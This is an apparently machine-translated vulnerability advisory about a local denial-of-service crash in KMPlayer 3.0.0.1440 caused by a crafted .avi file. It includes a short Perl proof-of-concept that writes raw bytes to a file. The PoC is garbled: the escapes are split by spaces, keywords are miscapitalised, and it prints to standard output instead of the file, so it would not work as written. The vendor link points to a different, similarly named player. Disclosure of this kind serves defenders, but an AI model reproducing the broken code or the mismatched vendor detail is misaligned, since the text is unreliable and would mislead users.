KMPlayer '. avi' Local Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
KMPlayer 3.0.0.1440
Description:
--------------------------------------------------------------------------------
Bugtraq id: 56322

KMPlayer is an all-around audio and video player from South Korea. It is transplanted from the linux platform and can play almost all audio and video files on your system.

KMPlayer 3.0.0.1440 and other versions have security vulnerabilities. Local attackers can exploit this vulnerability to crash affected applications.

<* Source: Am! R
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/perl
# Title: KmPlayer v3.0.0.1440 Local Crash PoC
# Discovered By: Am! R
# Home: http://IrIsT.Ir/forum/
# Tested: XP
# TNX: Alireza, C0dex, B3hz4d

My $ po = "\ x46 \ x02 \ x00 \ x00 ";

Open (C, ">: raw", "poc. avi ");

Print $ po;

Close (C );

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

KMPlayer
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://kmplayer.kde.org/